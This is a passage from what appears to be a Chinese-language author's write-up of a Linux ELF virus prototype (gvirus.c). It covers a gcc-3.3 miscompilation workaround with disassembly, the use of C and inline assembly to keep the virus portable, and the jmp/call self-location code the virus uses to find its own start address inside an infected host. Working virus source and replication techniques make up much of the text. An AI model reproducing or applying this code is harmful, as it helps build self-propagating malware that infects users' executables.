5 遭遇gcc-3.3的bug
gvirus.c中有一部分的数据初始化是这样的:
...
char curdir[2] = {'.', 0};
char newline = '\n';
curdir[0] = '.';
curdir[1] = 0;
newline = '\n';
if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
goto out;
...
也许你会奇怪,为什么curdir和newline在已经初始化后还要重新赋值,这其中的原因
是为了绕过一个gcc的bug。
在我的编译环境下,当只做
char curdir[2] = {'.', 0};
char newline = '\n';
这样的初始化时,反汇编代码如下:
...
0x08048cb0 : push %ebp
0x08048cb1 : push %edi
0x08048cb2 : push %esi
0x08048cb3 : push %ebx
0x08048cb4 : sub $0x20bc,%esp
0x08048cba : push %eax
0x08048cbb : push %ecx
0x08048cbc : push %edx
0x08048cbd : xor %ecx,%ecx
0x08048cbf : lea 0x4e(%esp),%ebx <.使用curdir
0x08048cc3 : mov $0x5,%eax
0x08048cc8 : mov %ecx,%edx
0x08048cca : int $0x80 <.g_open系统调用
0x08048ccc : mov %eax,0x38(%esp)
0x08048cd0 : cmp $0xffffff82,%eax
0x08048cd3 : jbe 0x8048cdd
0x08048cd5 : movl $0xffffffff,0x38(%esp)
0x08048cdd : mov 0x38(%esp),%eax
0x08048ce1 : test %eax,%eax
0x08048ce3 : js 0x804915d
0x08048ce9 : movw $0x2e,0x4e(%esp) <.curdir的初始化
...
从注释可以看出,在这种情况下,curdir的初始化被放到了g_open使用其做参数之后。
当加入
curdir[0] = '.';
curdir[1] = 0;
newline = '\n';
后,反汇编代码如下:
...
0x08048cb0 : push %ebp
0x08048cb1 : push %edi
0x08048cb2 : push %esi
0x08048cb3 : push %ebx
0x08048cb4 : sub $0x20bc,%esp
0x08048cba : push %eax
0x08048cbb : push %ecx
0x08048cbc : push %edx
0x08048cbd : xor %ecx,%ecx
0x08048cbf : movw $0x2e,0x4e(%esp) <.curdir的初始化
0x08048cc6 : lea 0x4e(%esp),%ebx <.作为参数使用
0x08048cca : mov $0x5,%eax
0x08048ccf : mov %ecx,%edx
0x08048cd1 : int $0x80 <.g_open系统调用
...
从注释可以看出,加入了这段代码后,程序编译正确,避免了这个编译器bug。
6 通过C语言和inline保证病毒代码的可读性和可移植性
用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差,这也是使用汇编语言写
程序的一个普遍的缺点。
在这个linux病毒原型代码了主体使用的都是C语言,只有极少部分由于C语言本身的
限制而不得不使用gcc嵌入汇编。对于C语言部分,也尽量是用inline函数,保证代码
层次分明,保证可读性。
7 病毒代码复制时如何获得自己的起始地址?
虽然,病毒代码部分向ELF Infector提供了代码的起始地址,保证了生成第一个带毒
文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播
时却无法使用这个地址,因为它的代码位置已经受到了宿主的影响,这时它需要重新
定位自己的起始位置。
在写这个病毒原型时,我并没有参考过其它病毒的代码,因此这里采用的也许并
不是一个最好的方法:
/* Get start address of virus code */
__asm__ volatile (
"jmp get_start_addr\n"
"infect_start:\n\t"
"popl %0\n\t"
:"=m" (para_code_start_addr)
:);
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
... /* c代码 */
...
__asm__ volatile (
...
"get_start_addr:\n\t"
"call infect_start\n"
"return:\n\t"
"push $0xAABBCCDD\n\t" /* push ret_addr */
"ret\n"
::);
通过缓冲区溢出中的一个技巧,jmp/call组合来得到push $0xAABBCCDD指令的地址。
这个地址是0xAABBCCDD地址向后一个push指令,而0xAABBCCDD的地址就是那个用于
存放病毒代码返回地址的地址,这个地址相对于病毒代码起始地址的偏移我们是知道
的,就是病毒代码函数向ELF Infector接口提供的那个宏定义的值:
#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif
这样病毒代码在当前宿主中的位置就可以得到了(注意从汇编指令出来后,
para_code_start_addr中存放的是0xAABBCCDD的地址,我们减去偏移再减
一个push指令的长度,就是病毒代码的起始地址):
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;